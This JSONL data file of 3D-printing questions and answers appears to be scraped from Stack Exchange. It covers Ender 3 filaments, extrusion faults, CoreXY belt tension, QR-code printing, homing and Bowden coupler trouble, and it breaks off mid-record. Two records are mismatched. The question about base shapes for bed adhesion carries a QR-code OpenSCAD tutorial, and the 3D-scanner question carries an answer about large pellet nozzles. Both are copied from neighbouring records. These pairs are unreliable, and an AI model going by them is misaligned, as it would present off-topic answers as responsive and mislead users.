{"id": "hf_ad33a71744d9", "question": "<p>I have used PLA and PLA+ so far and I know that it can use ABS and PETG but I'm curious what other materials could I in theory use with my Ender 3?</p>\n<p>It is a stock configuration, for the time being at least until after Christmas, and my grandfather and I have designed an enclosure to build together.</p>\n", "question_body": "", "answer": "Consider\nWood PLA\n.  It is similar to PLA but more abrasive, and with different happy-temperatures.\nEspecially useful if you want to paint your output, or if you have woodworking skills/tools then prints can be (somewhat) worked and incorporated into larger projects.\nImagine printing detailed\nscallions\nor\ncrenellations\nor\ngargoyles\nfor a spooky dollhouse - the main walls would use an inordinate amount of filament whereas sheet-wood is cheaper.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.531107"}
{"id": "hf_763c1752ce9d", "question": "<p>I've changed SD cards, printed from USB connection, upgraded/reloaded firmware and attempted using different software packages.  Nothing has worked yet.  When connected via USB, I get a &quot;disconnected&quot; error after a few minutes into the print.  Also, the LED lights now either don't work at all or will randomly go out after a few minutes - usually indicating that the print failure is imminent.  I've had the printer for about 4 years without issues.  I don't want to replace the motherboard only to find out it's the power source or vice versa.  Help?</p>\n", "question_body": "", "answer": "I recently had this problem and narrowed it down to the part cooling fan (on the side of the extruder head).  I diagnosed the problem by noticing that the printer would reboot shortly after the second layer started, only on PLA prints.  Of course, the part cooling fan is not usually started until after the first layer.  It was shorted and when the printer got to the second layer it would overload the power supply and cause a reboot.  Took a while to determine this, but it is worth looking at if somebody else is having this problem.\nI would guess that any shorted fan, even the extruder fans, might cause a similar issue, however, I don't know this for sure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.555228"}
{"id": "hf_36c33ac0c93e", "question": "<p>Suppose I have the X, Y, and Z coordinates (either in a list or a function z = f(x,y)) that defines a shape as the one provided and I want to 3D print it with a solid bottom, is there an easy way to do this? If not, how can a functionally well-defined shape be put into a 3D modeling software like FreeCAD?</p>\n<p><a href=\"https://i.stack.imgur.com/5bcSU.jpg\" rel=\"nofollow noreferrer\" title=\"3D graph\"><img src=\"https://i.stack.imgur.com/5bcSU.jpg\" alt=\"3D graph\" title=\"3D graph\" /></a></p>\n", "question_body": "", "answer": "For stuff like this, OpenSCAD is your friend. There are several different approaches you could take:\nGenerate an image file with grayscale color representing the height of the function on an XY grid, and use the\n```\nsurface\n```\nfeature to import it as a heightmap.\nWrite the function as a mathematical expression in OpenSCAD language, and write a module to generate a\n```\npolyhedron\n```\nby iterating over a sufficiently fine coordiante grid, sampling the function, and producing points and triangles.\nUse a library someone else has already written for this purpose. I'm not aware of specific ones but pretty sure there are quite a few.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.591630"}
{"id": "hf_970a78bcf5f2", "question": "<p>I have been printing toy cars for about a month now and my Ender 3 has stopped extruding plastic even when I insert filament, it has been about a day since it stopped working. Is there any tips for getting it working again?</p>\n<p>I tried manual feeding which worked.</p>\n", "question_body": "", "answer": "You need to figure out what is not working\nIs the hotend getting hot?   If not, melted filament won't come out.\nIs the nozzle clogged?   In your toolkit was a bit of thin wire for poking into the nozzle - try that and see what happens.\nYou may need to heat the hotend, extract the filament, wait for it to cool, remove the bowden tube and push the wire up from below, if the obstruction is too big to come through the 0.4mm nozzle.\nIs the extruder pushing/feeding filament?  Undo the bowden tube at the top, tell the control panel to extrude and observe if plastic moves.  An Ender3 V2 has the round handle on top, you should see it slowly revolving.\nIf you can see the gears turning and the filament is not coming through, try snipping that piece off and inserting a fresh end.  Also clean inside the pushing gears of the extruder, could be simple plastic detris laying about.\nAre you having reel problems?  Can you tug on the filament and have the reel turn? If not, it might be binding on the roll, or knotted/tangled.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.614359"}
{"id": "hf_6ff6960a6352", "question": "<p>When I pluck the belts of my CoreXY printer, I feel significantly different tension between the two idlers on the back and the tension on the sides, between the gear on the stepper shaft and the idler on the back.</p>\n<p>Is this normal? If not, what could be the cause?</p>\n<p>For reference, I'm using this support for the idlers:</p>\n<p><a href=\"https://i.stack.imgur.com/OMTPC.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OMTPC.jpg\" alt=\"enter image description here\" /></a></p>\n", "question_body": "", "answer": "If you are referring to the tension in a single belt, but ar different positions, the tension is everywhere the same. It is one belt, the force/tension is the same in the belt. If the length of the belt is shorter because of a carriage to idler, the plucked sound may differ but the tension is the same.\nIf you are referring to different belts, e.g. the top versus the bottom belt, for CoreXY machines, the tension in the two separate belts should be equal to allow equal force pulling the carriage. If uneven, this may lead to incorrect/skew prints or binding of linear bearings (from experience). A typical layout of the mechanism is shown below. Note that there are several solutions for placing the belts; they can be in the same plane (where the belts cross in the back, as depicted below) or have the belt each in their own plane (as in the HyperCube Evolution design as depicted in the image of the question).\nDrawing published by Ilan E. Moyer, taken from\nhttp://corexy.com\n.\nFor both options, incorrect belt tension causes for different forces onto the the printhead carriage and result in a torque on the carriage (either in X-Y or in X-Z). E.g. a tight blue belt with a less tight red belt cause a resulting counter-clockwise torque on the carriage in the image below:\nI use\na tool (gauge)\nto determine the tension to compare both belts and make sure the tension in both is the same:\nMany CoreXY designs can adjust the tension of the belts at the carriage by screws. Some designs feature the stepper in the back and an adjustable pulley in the front.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.638399"}
{"id": "hf_6f26c19ff723", "question": "<p>I bought an Ender 3 V2 printer and printed successfully with PLA and PLA+. Ender 3 V2 is rated at &lt;= 250 °C but when I set temperature above 200 °C to print to PLA+, I get an error message &quot;Nozzle is too lowperature&quot; and the printer freezes (the term lowperature is actual and not a typo error).</p>\n<p>I tried to raise the temperature gradually. I started at 200 °C and have gone to 205 °C and a little bit more. I started printing and I might get this message again or might not. Also, the temperature seems to change or lower while printing. It is not stable.</p>\n<p>Any suggestions as to what causes this unstable behavior?</p>\n<hr />\n<p>Following the above behavior, I was able to raise the temperature to 213 °C and I was printing for 10 minutes or so, then I got the message &quot;thermal runaway&quot;.</p>\n<hr />\n<p>I managed to capture the event <a href=\"https://youtu.be/oo0f237iTVo\" rel=\"nofollow noreferrer\">here</a></p>\n", "question_body": "", "answer": "This sounds like a bad thermistor. Try replacing the head thermistor, see if this fixes it.\nAs for the strange error message, it looks like the word Temperature is being drawn on the wrong line, and then \"is too low\" writes over it.\nSee the way the word lines up below:\n```\n```\nnozzle temperature\nis too lowperature\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.661130"}
{"id": "hf_3b13cf730d56", "question": "<p>For some reason, my larger prints, or rather the ones that I create, have this &quot;dotted&quot; line in them. And, that line usually splits into two pieces.</p>\n<p>I use Ultimaker Cura for a slicer, I use Blender for modeling, and I have an Ender 3 Pro</p>\n<p>Let me know if anyone knows the reason for this as it's preventing me from making things on my own.</p>\n<p>Picture:</p>\n<p><a href=\"https://i.stack.imgur.com/ZUi8y.jpg\" rel=\"nofollow noreferrer\" title=\"Photo of print with dotted line\"><img src=\"https://i.stack.imgur.com/ZUi8y.jpg\" alt=\"Photo of print with dotted line\" title=\"Photo of print with dotted line\" /></a></p>\n<p>Here's my <a href=\"https://cdn.discordapp.com/attachments/610969665744666664/901290253678178364/box.3mf\" rel=\"nofollow noreferrer\">Cura file</a>, if anyone needs it</p>\n", "question_body": "", "answer": "At first glance, this looks like it could be missing layers.\nThere are five possible causes for missing layers.\nSomething is off mechanically.\nCheck to see if anything has slipped, shifted, moved, or popped out.\nMisalignment\nCheck to see that all three axes are properly aligned and haven't shifted. If there is any resistance, something is misaligned, bent, or a problem with the bearings.\nBad Bearings\nIf a bearing is the culprit, it will make some noise. The bearing will also exhibit some uneven motion in the print head.\nLack of Lubrication\nCheck to see if any of the axes are binding in any way. A little, and just a little, bit of sewing machine oil can be the solution.\nUnder-Extrusion\nThis is a whole different set of problems that requires a new question to get an answer.\nFor more detailed information, see All3DP.com's article \"\n3D Printing Troubleshooting All Common Problems\n\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.755360"}
{"id": "hf_d9f79d0eb245", "question": "<p>Can you convert a 3D printer to a laser engraver?</p>\n<p>If so is there a specific thing I have to buy?</p>\n", "question_body": "", "answer": "Yes, one can convert a 3D printer into a Laser Engraver, and it isn't even all that problematic.\nYou'd need to acquire a laser diode. These are usually not available with a lot of power - certainly not the hundreds of Watts that come from a proper CO2 laser - but depending on your printer, it might be pretty much a bolt-on addon.\nThe conversion isn't\ntoo\ninvasive, and takes much less time than building a printer from a set.\nAll3D\nconverted an Ender-3 to have a laser within less than an hour. In their step-by-step guide, they wired it into the 5V part cooling fan port of their printer. Whatever laser diode you choose, the setup will be similar, as long as your diode works with 5 Volt power.\nOnce installed on the physical side, you will need to prepare your prints with a different \"Slicer\" that uses the commands for the fan speed as powers for the laser:\n```\nM106 S\n```\nsets the power to S, where S is a number from 0 to 255 ; Without an S value, it turns on to the last setting (if turned off via\n```\nM107\n```\n)\n```\nM107\n```\nturns off the laser.\nOne such slicer would be\nCreality Workshop\n, which would work with any Marlin-run printer, as long as you use the fan as the diode's power source.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.779964"}
{"id": "hf_c5cf2cce674a", "question": "<p>Is it possible to 3D print a QR code? or to engrave it using a 3D printer? I tried to convert it to individual boxes but that takes too long and is very inaccurate. Is there a better way?</p>\n", "question_body": "", "answer": "From the excellent Thingiverse link,\nCustomizable QR Keyring or Tag\nby\nOutwardB\n- which was provided in the (now deleted)\nlink-only answer\n:\nCreate the QR code\nGo to\nQRCode Monkey\nOnly change the Content settings\nDO NOT change the color, logo or design settings\nClick\nCreate QR Code\nClick\nDownload PNG\nand wait for the file to download\nConvert to SVG\nGo to\nPNG to SVG Converter\nand convert the PNG image you just downloaded to a .SVG file\nCustomise in OpenSCAD\nYou will need\n```\nQR_Code_Customizer_V01_2.scad\n```\nfrom the\nfiles\nrepository on Thingverse\nDownload OpenSCAD from here and install it -\nhttps://openscad.org/downloads.html\nPut the downloaded SVG file in the same folder as the .SCAD file from this page\nDouble-click the .SCAD file to open it\nClick\nWindow\n, then untick\nHide Customizer\nOptional\n: Click\nWindow\n, then tick\nHide Editor\nEnter the SVG file name in the basic settings tab (or rename the file to qr-code.svg before opening OpenSCAD)\nCustomize the settings. After changing a setting, you may need to click outside the text box to apply the change\nClick\nDesign\n>\nRender\nand wait for the design to render\nClick\nFile\n>\nExport\n>\nExport to STL\nSave the file\nNotes\nRaised\nand\nCut-Out\ntypes are for changing filament at layer height\nMulti-color\nand\nCode\nare to be used together for inlay/multi-color printers\nYou can also set\nBase Height\nor\nCode Height\nto 0 and export each part on it's own\nIf you want to print a\ndouble sided tag\n, you can set\nBase Height\nto 0 and export the second side. Then just flip this over in\nthe slicer\nThe text options are a okay for basic text, but if you want to use another program to add some, you can add extra height to the\ntop/bottom of the card under\nExtra Size Setting\nAdvanced Notes\nThere is some logic in the script that stop you from making the size too small if you have Line Size set, you can set Line Size to 0\nor half your line size value if you really want to override this.\nYou can change the Customize Design settings before generating the QR Code (on\nQRCode Monkey\n), but you'll need to set Line Size to 0\nand there are no promises that it'll print well\nIf you want to use a different site to create the QR code, resize the image to 1147x1147 pixels before converting it to an SVG. Or if\nthe QR code in the image doesn't have a border, resize it to 1000x1000\npx.\nIf you want to use a different source for the SVG file, there are instructions for working out the size in the code\n(\n```\nQR_Code_Customizer_V01_2.scad\n```\n) at line 215. You'll need to\nexport it as a STL and measure it outside of OpenSCAD, then enter the\nvalues into the script.\nThe linked to Thingiverse page also has some extra steps for adding an icon:\nAdd an icon\nYou can import another SVG file as a logo or use logo fonts.\nThe below example uses an\nwifi SVG file\nfrom IconMonstr\nDownload the wifi SVG file\nPlace it in the same folder as the .SCAD file\nIn the customizer:\nAdd some extra space to the top or bottom of the card under\nExtra Size Settings\nGo to SVG Logo Settings\nTick\nenable svg logo\nEnter the filename under\nsvg logo name\nSet the\nsvg y nudge\nposition and\nsvg logo scale", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.803325"}
{"id": "hf_4b39d0f2dab1", "question": "<p>If you are printing an object that has a base (A statue or trophy, for example), and presuming that you have already optimized every other setting: which shape of base would give you the best and most consistent bed adhesion when using PLA on the widest range of printers (For example, if you're putting it up on a site for anybody to download)?</p>\n<p>For example:</p>\n<ol>\n<li><p>A square base that is thin at the edges and thick in the middle, and slopes upwards in the center, like a pyramid.</p>\n</li>\n<li><p>A circular base that is thin at the edges and thick in the middle, like a dome</p>\n</li>\n<li><p>A flat thick square.</p>\n</li>\n<li><p>A flat thick circle</p>\n</li>\n</ol>\n<p>Is a shape with corners better, or a shape with no corners like a disc or a fried egg?</p>\n<p>Do sloping sides make a difference, or general thickness?</p>\n", "question_body": "", "answer": "From the excellent Thingiverse link,\nCustomizable QR Keyring or Tag\nby\nOutwardB\n- which was provided in the (now deleted)\nlink-only answer\n:\nCreate the QR code\nGo to\nQRCode Monkey\nOnly change the Content settings\nDO NOT change the color, logo or design settings\nClick\nCreate QR Code\nClick\nDownload PNG\nand wait for the file to download\nConvert to SVG\nGo to\nPNG to SVG Converter\nand convert the PNG image you just downloaded to a .SVG file\nCustomise in OpenSCAD\nYou will need\n```\nQR_Code_Customizer_V01_2.scad\n```\nfrom the\nfiles\nrepository on Thingverse\nDownload OpenSCAD from here and install it -\nhttps://openscad.org/downloads.html\nPut the downloaded SVG file in the same folder as the .SCAD file from this page\nDouble-click the .SCAD file to open it\nClick\nWindow\n, then untick\nHide Customizer\nOptional\n: Click\nWindow\n, then tick\nHide Editor\nEnter the SVG file name in the basic settings tab (or rename the file to qr-code.svg before opening OpenSCAD)\nCustomize the settings. After changing a setting, you may need to click outside the text box to apply the change\nClick\nDesign\n>\nRender\nand wait for the design to render\nClick\nFile\n>\nExport\n>\nExport to STL\nSave the file\nNotes\nRaised\nand\nCut-Out\ntypes are for changing filament at layer height\nMulti-color\nand\nCode\nare to be used together for inlay/multi-color printers\nYou can also set\nBase Height\nor\nCode Height\nto 0 and export each part on it's own\nIf you want to print a\ndouble sided tag\n, you can set\nBase Height\nto 0 and export the second side. Then just flip this over in\nthe slicer\nThe text options are a okay for basic text, but if you want to use another program to add some, you can add extra height to the\ntop/bottom of the card under\nExtra Size Setting\nAdvanced Notes\nThere is some logic in the script that stop you from making the size too small if you have Line Size set, you can set Line Size to 0\nor half your line size value if you really want to override this.\nYou can change the Customize Design settings before generating the QR Code (on\nQRCode Monkey\n), but you'll need to set Line Size to 0\nand there are no promises that it'll print well\nIf you want to use a different site to create the QR code, resize the image to 1147x1147 pixels before converting it to an SVG. Or if\nthe QR code in the image doesn't have a border, resize it to 1000x1000\npx.\nIf you want to use a different source for the SVG file, there are instructions for working out the size in the code\n(\n```\nQR_Code_Customizer_V01_2.scad\n```\n) at line 215. You'll need to\nexport it as a STL and measure it outside of OpenSCAD, then enter the\nvalues into the script.\nThe linked to Thingiverse page also has some extra steps for adding an icon:\nAdd an icon\nYou can import another SVG file as a logo or use logo fonts.\nThe below example uses an\nwifi SVG file\nfrom IconMonstr\nDownload the wifi SVG file\nPlace it in the same folder as the .SCAD file\nIn the customizer:\nAdd some extra space to the top or bottom of the card under\nExtra Size Settings\nGo to SVG Logo Settings\nTick\nenable svg logo\nEnter the filename under\nsvg logo name\nSet the\nsvg y nudge\nposition and\nsvg logo scale", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.842386"}
{"id": "hf_3eb79d954405", "question": "<p>I'm struggling to find the name of a connector I just broke, so I can order a new one.</p>\n<p>It's a six pin nylon terminal, that plugs into a set of header pins on a stepper motor.</p>\n<p>What do I search for to find these?! Also, how would I go about finding something like this in the future? I seem to struggle to find connectors.</p>\n<p><a href=\"https://i.stack.imgur.com/ejbJR.jpg\" rel=\"nofollow noreferrer\" title=\"Connector\"><img src=\"https://i.stack.imgur.com/ejbJR.jpg\" alt=\"Connector\" title=\"Connector\" /></a></p>\n", "question_body": "", "answer": "In an attempt to salvage my (sadly) previously incorrect answer (at the bottom),\nand\nto add to\nanttix's superlative answer\n, here is a quote from\nStepper cable for MKS Boards pinout\n, which clearly shows the difference - locking and non-locking, and pitch difference (note the thickness of the plastic between each individual pin socket) - in the two plugs:\nThis pinout information will help you to use our 1 meter stepper\ncables correctly. Cable was made to be compatible with 6-pin JST\nconnectors on NEMA 17 stepper on one side and 4-pin JST connector on\nother side. These cables are compatible with MKS BASE and MKS Gen\nboards that we sell in our store.\nFor compatibility with Anet board you will need to swap 2 wires - RED\nand BLUE on the 4 pin board side connector.\nWhilst they aren't labeled\nPH\nand\nXH\n, it is pretty safe to assume that:\nFor the control board, the\n4 pin\nfemale connector\non the\nleft\nis the\nXH\n, and;\nFor the stepper motor, the\n6 pin\nfemale connector\non the\nright\nis\nPH\n.\nThe\nmattmillan.com\nlink in anttix's answer, whilst informative, unfortunately doesn't show both sides of the 4 or 6 pin connector.\nFor the sake of completeness, but at the risk of going\noff-topic\n, the connector to the printer controller board is often a DuPont, and not a JST,\nparticularly in\n, but not limited to, Arduino (Atmel/AVR based) boards.\nFrom the same website, this page\nStepper cable for RAMPS pinout\n, shows the DuPont connector to the control board and the JST-PH-6P connector to the stepper motor (I've not fixed the typos in the quoted text):\nThis pinout information will help you to use our 1 meter stepper\ncables correctly. Cable was made to be compatible with 6-pin JST\nconnectors on NEMA 17 stepper on one side and RAMPS board connector\n(also called dupont connector) on other side. Main feature of RAMPS\nstepper header and this cable is that you can reverse stepper\ndirection by turning connector on RAMPS 180 degree.\nThis cable is aslo compatible with CNC V3 shields for Arduino UNO and\nother electronic boards for 3D Printers and CNC control. Please\nobserve the following piut diagram to make sure that your particular\nelectronic board is compatible.\nNote\n: I'm not promoting this particular website, it just so happens that they have the best comparison photos.\nMaybe\nIt is most likely\nnot\n... JST XH 2.54 6 pin female\nand the reverse side, showing the locking, with the male PCB connector", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.917533"}
{"id": "hf_8d0638485fa2", "question": "<p>Is there such thing as a 3D printer with a very large diameter nozzle, that can make low fidelity, large and fast prints? I'm picturing a soft serve ice-cream machine on a gantry, with a hopper.  You feed it shredded plastic, and it prints bricks, or boards.</p>\n", "question_body": "", "answer": "You can certainly get large nozzles, but the material for extrusion still needs to be consistent.  So any chunked plastic would have to be melted and that will produce an erratic flow at the extruder.\nBy reforming your shredded plastic into a consistent string of filament, then the printer has a steady supply of material to use.  There are already filament extruders for the small shop, but they're still expensive for the home user.  The main problems are getting consistent thickness of filament, and minimising contaminants.  Also colours tend to be lost and muddied.  These might be economical if you have a print farm and are consuming a spool a day on average.\nOn a large scale, there are \"3d printers\" that can place a special quick-drying concrete and produce small buildings as homes in a matter of days.  However they're fed a special mixture of smooth cement and accelerators to set the concrete ready for the next layer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.971240"}
{"id": "hf_fc43334da7bb", "question": "<p>Will a 3D scanner capture internal details within an enclosure?</p>\n<p>I'm contemplating buying a 3D scanner, but they're pretty expensive so I'm looking for advice on whether they will actually be useful for the projects I have in mind. So with the picture below as an example, could I expect to generate a usable STL file by scanning this?</p>\n<p><a href=\"https://i.stack.imgur.com/iYiDz.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iYiDz.jpg\" alt=\"Object\" /></a></p>\n", "question_body": "", "answer": "You can certainly get large nozzles, but the material for extrusion still needs to be consistent.  So any chunked plastic would have to be melted and that will produce an erratic flow at the extruder.\nBy reforming your shredded plastic into a consistent string of filament, then the printer has a steady supply of material to use.  There are already filament extruders for the small shop, but they're still expensive for the home user.  The main problems are getting consistent thickness of filament, and minimising contaminants.  Also colours tend to be lost and muddied.  These might be economical if you have a print farm and are consuming a spool a day on average.\nOn a large scale, there are \"3d printers\" that can place a special quick-drying concrete and produce small buildings as homes in a matter of days.  However they're fed a special mixture of smooth cement and accelerators to set the concrete ready for the next layer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:17.994415"}
{"id": "hf_60d19c68bb91", "question": "<p>I thought I am not bad at Google, but simply I am unable to find a G-code for doing circular motion for nozzle cleaning. It is possible to write a simple circular motion in G-code?</p>\n", "question_body": "", "answer": "To draw a circle, you need to approximate the circle as a sufficient number of line segments. This requires computing or using a table of sine and cosine values for each angle step. Then you just emit a sequence of\n```\nG1\n```\ncommands.\nSome printer firmware also supports arc drawing commands you could use instead in principle, but support is not widespread, and the quality of the results varies enough that I would not recommend trying to do it this way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.018518"}
{"id": "hf_42331a2588f8", "question": "<p>I'm trying to print large objects (around 1 meter squared) with polycarbonate pellets. The problem is sometimes the print cracks. It is not due to delamination as it is a shear crack across multiple layers. I know the ideal scenario is to have a heated enclosure but I cannot do that due to the size. Any suggestions?</p>\n<p>I am using a robotic arm (KUKA KR360) with a custom extruder. That is why I can't build the enclosure. As for the temperature, they are 230 to 260 °C. Nozzle is 10 mm.</p>\n<hr />\n<p><em>I like the idea of directed heat. I might try that.</em></p>\n", "question_body": "", "answer": "Printing polycarbonate requires a high end 3D printer that is suitable for the task.\nFrom\nSimplify3d support\nwe learn that:\n... requires very high temperatures for printing and will\nexhibit layer separation if printed at too low of a temperature or with excessive cooling enabled\n. Polycarbonate is frequently\nbest printed on a machine that has an enclosed build volume\nand is capable of handling high bed and extruder temperatures.\nHigh temperatures and enclosed build volume are key to print polycarbonate without cracking or delamination.\nAny suggestions?\nNote that NASA has successfully printed ULTEM (even higher temperatures needed)\nusing open source hardware\n. They have used infrared lamps directed at the build plate, this may be an option if a full enclosure is not possible. Also people seem to get good results with draft shields for printing ABS on non enclosed printers. Key is that a constant elevated temperature is created near the print, whether that works for such a large size remains to be seen. Best solution would be enclosing the printer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.042343"}
{"id": "hf_962357b2c4c2", "question": "<p>I want to put in a date and serial number that would be difficult to erase or change. Is it better to print in the number or engrave it in with a laser engraver.</p>\n<p>Material will be anti-bacterial PLA.</p>\n<p>It will be on free masks donated to schools, I want to make sure we can identify them when they show up at the market or in shops.</p>\n", "question_body": "", "answer": "It's plastic. Nothing is difficult to remove, but it could be difficult to remove without damaging the functionality of visual quality of the part. If you want to be really devious, you could embed the serial number in an inaccessible cavity\ninside the print\nthat's not visible without breaking it open.\nHowever, I wonder if it would make more sense to drop this. If you're worried about students (?) or educators (?) stealing and reselling these items, does having a way to trace and punish them really benefit anyone? Even before you consider the harms from doing so, isn't the effort spent tracing (and even the effort automating generation of STLs with each serial number and slicing each one to print individually, rather than using a single gcode job) greater than the value of the item you're worried about losing?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.067044"}
{"id": "hf_345ef8b6dde3", "question": "<p>A 3D printer needs to be homed (homing) before the print starts.</p>\n<ul>\n<li>What is homing?</li>\n<li>What is the purpose of homing?</li>\n<li>Is it necessary?</li>\n</ul>\n", "question_body": "", "answer": "What is homing?\nFrom the\ntag wiki\nhoming\nwe can read:\nThe process of determining the location of a 3D printer nozzle in\nthree dimension using a reference point (home location) is referred to\nas \"homing\". Homing should occur before every print and involves\nbringing the X, Y and Z-Axis motors to pre-defined limit locations\n(usually these are endstops). Pre-recorded homing data offset values\ndetermine the position of the build plate origin with respect to the\nendstop locations.\nWhat is the purpose of homing?\nSo, homing is defining the printer coordinate system location with respect to a reference location we call \"home\". Why? The controller board or steppers have no memory for storing their position and could have been manually moved. Once the axes have \"seen\" there reference location, the printer will remember to refer all movements in respect to this point (this may include offset values to get to the origin of the printer (see\nHow to center my prints on the build platform? (Re-calibrate homing offset)\n). Note, if a problem occurs where e.g. the nozzle hits the bed or print object, the nozzle may be out of sync with the reference point. Such an anomaly is e.g. layer shifting which occurs on open-loop stepper movement (servo steppers have feedback to prevent this from happening, but these are more expensive). The purpose of homing is to set a reference so that your sliced objects can be printed at the correct location within the printer print volume. If correctly configured, and no problems like layer shifting occur, the benefit is that proper homing prevent the machine to print within the limits of the printer.\nIs it necessary?\nStrictly speaking, no, it is not necessary. But if you do not automatically set a reference for each axis, you would need to manually provide a position to start from. This can work just as well, but the use of end stops automate the procedure so that it is very easy for the printer operator. Some (of the cheaper) CNC machines do not have end stops, the operator needs to be aware to position the tool head of the CNC machine at the proper starting position.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.091918"}
{"id": "hf_e82623403385", "question": "<p>When choosing which filament to use for a particular print does the color of the filament have any impact on it's performance, or is it purely a cosmetic choice?</p>\n<p>For example, are there any side-by-side comparisons available that demonstrate that differences do\\don't exist between different color filaments from the same company\\range, such as a particular filament needing a hotter bed because the pigment changes it's properties?</p>\n", "question_body": "", "answer": "Yes in some cases it does.\nIt is widely known in communities which are pickier about properties that white filament requires a percentage of pigments much higher than other colours, therefore white filaments are typically weaker (or significantly weaker) than most other colours.\nAnother exception is black: ABS is not UV resistant, but if you use black ABS, the UV will not penetrate and, unless the surface is continuously scraped away, the UV resistance of black ABS is better than other colours.\nI remember some mentions in the Voron discord chats that red (at least from some manufacturers) is better than some other colours from the same manufacturer, but I don't remember the details. You can\njoin\nthe chat yourself and search (before asking!) in the #filament chat.\nI remember reading that pure (\"natural\") filaments are however not always better than filaments with colours added, but I cannot remember the source. It could be that some little amount of extra additives (the colour pigments) offer the polymer something to \"grab\", so better than nothing. My guess, but I have no support for it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.130435"}
{"id": "hf_85841d2928ab", "question": "<p>My new Ender 5 Plus' Bowden tube keeps popping out of its socket on the extruder mid-print, I've tried several times and it keeps doing it even though it's locked into place securely at the start every time. Is this a known issue? And how do I resolve it?</p>\n<p>I just got it so I doubt it's the coupler, I replaced it with a spare as my first solution, I did notice that it got almost stringy plastic around it whenever it gets popped out.... could that be indicative of what the problem is?</p>\n", "question_body": "", "answer": "The coupler for the Bowden tube is probably worn out or the tube end has been scraped so that the coupler can't grab it or you have left out the clamp on the coupler.\nThe coupler has a sleeve that when pressed down releases the Bowden tube.  There is a C-shaped clip that should go between the top lip of the sleeve and the body of the coupler that prevents the sleeve from moving and should help hold the tube more firmly.  Make sure this is installed.\nIf the tube outside is visibly worn with scrape marks (this is rare), it might help to cut a few cm off the end so that a fresh section is gripped by the coupler.  Be sure to cut the end flush so that there is no gap between the heat break and the Bowden tube or you will have other problems.\nAlternately (and this is more likely), the coupler itself is worn out, possibly with bent or broken-off teeth.  If this is the case, you will need to replace the coupler.", "tags": [], "source": "huggingface", "category": "devops", 